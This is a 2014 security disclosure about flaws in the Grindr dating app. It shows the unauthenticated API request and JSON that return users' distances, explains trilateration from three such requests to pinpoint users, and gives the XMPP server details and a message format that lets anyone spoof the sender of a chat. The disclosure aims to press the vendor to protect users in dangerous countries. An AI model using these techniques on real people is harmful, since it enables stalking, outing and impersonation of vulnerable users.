[Grindr] errors and omissions 2014

#
# How Grindr[0] fails to protect their user's privacy by not implementing a secure chat.
#

Just like 2012[1] and 2013[2], this year's "WTF? Why am I still using Grindr"-moment comes with the fact that
it's possible to locate every single user and perform a sender spoof using the chat.

#
# 1 Why public?
#
I know officials at grindr have been informed several times within the past months about these issues, which would seem to imply that the concept of "social responsibility" is lost upon Grindr. While you may live in a country where using Grindr is no big deal, there are countries like Sudan and Yemen where anti-gay laws have been enacted with severe consequences[3], e.g. the death penalty. Knowing that Grindr-Users in countries such as these are being put unnecessarily at a high risk should be reason enough for Grindr to change its system.
Even without the such a risk: Would you want it to be possible for someone to show on a map, exactly where you are to the point where they could tell if you were using Grindr in the bathroom or on the couch?

#
# 2 locating users
# 2a general
#
Geo-based (dating) apps use the location of every user to show distances to each other. Using the same process as GPS satellites, it is possible for a malicious entity to perform a lateration[4], sending distance-requests from three different points and using the responses to calculate the exact position of a particular user.

#
# 2b Grindr
#
Grindr sends very detailed distance information - and the best: no authentication required!
To get a list the nearest 50 users around a location, send a POST-Request to https://primus.grindr.com/2.0/nearbyProfiles containing the following JSON-Object:
{
   "filter":{
      "page":1,
      "quantity":50
   },
   "lat":$LATITUDE$,
   "lon":$LONGITUDE$
}

You'll receive a response which also contains a JSON-Object:
{
	"profiles": [{
		"profileId": [REDACTED],
		"status": 1,
		"version": 1404857602,
		"profileImageMediaHash": "[REDACTED]",
		"age": 30,
		"showDistance": false, << Good boy!
		"showAge": true,
		"seen": 1408203579000,
		"isFavorite": false
	}, {
		"profileId": [REDACTED],
		"status": 1,
		"displayName": "thomas",
		"headline": "give me tonight",
		"headlineDate": 1404857602000,
		"version": 1404857602,
		"profileImageMediaHash": "[REDACTED]",
		"age": 28,
		"showDistance": true,
		"showAge": true,
		"ethnicity": 7,
		"lookingFor": [4, 5, 3, 6],
		"relationshipStatus": 1,
		"bodyType": 5,
		"height": 172.0,
		"weight": 73935.5546875,
		"seen": 1408203078000,
		"distance": 0.723241061801939, << Base for locating
		"isFavorite": false
	}, {
		...
	}]
}

The first user chose not to show the their location, so we're not able to locate him.
The second user has his location services on. If we were to perform that same request two more times at different longitudes/latitudes, we would have the necessary data to perform a trilateration, e.g. using a pythonscript[5] from the internet (three known points and distances, one unknown point (user)).
Having now calculated the location of every user, it's trivial to show it on a map like this[6].

Note: Disable "show location"-flag to prevent being located in this way.

#
# 3 Sender spoof
#
Grindr's chat runs via XMPP[7], an open standard for chatting. To send messages, you need an account created via the Grindr-App.

To login on grindr's XMPP-Servers, you simply connect to:

server: primus-prod-chat-0001.grindr.com
port: 5222
host: chat.grindr.com

The user ID and password must be known. (Capture your grindr's app traffic and watch out for the request sent to https://primus.grindr.com/2.0/session, the "xmppToken" within the response contains the password).

So far so good. The messages are not sent directly, but rather as JSON-Objects. It is at this point in which a sender-spoof can take place:

You simply send a message to another grindr user's ID (see profileId from #2b (locating guys on Grindr)) containing the following message:
{
   "body":"TEXT GOES HERE",
   "messageId":"[REDACTED]", << unique messageID
   "sourceProfileId":"12345678", << who's texting? here you can enter ANY id and it will be shown as sender
   "targetProfileId":"910111213", << who's receiving? important to put the grindr user's ID here.
   "timestamp":[REDACTED],
   "type":"text"
}

Only the intended target will have knowledge of the spoofed message. The "sender" user-ID used for the spoof will not receive a copy.

Note: Grindr really need to get their priorities in order; The tons of ad- and tracking services are very well implemented in their App, however the core of grindr, the chat-protocol is completely insecure.

##
[0] http://grindr.com/
[1] https://nakedsecurity.sophos.com/2012/01/20/grindr-hack/
[2] https://www.os3.nl/_media/reports/grindr.pdf
[3] https://www.bbc.com/news/world-25927595
[4] https://en.wikipedia.org/wiki/Trilateration
[5] https://gis.stackexchange.com/questions/66/trilateration-using-3-latitude-and-longitude-points-and-3-distances/415#415
[6] https://www.anonimg.com/img/a88256042dade7e5f527fad8b5b69524.png
[7] https://en.wikipedia.org/wiki/XMPP
[8] https://en.wikipedia.org/wiki/Spoofing_attack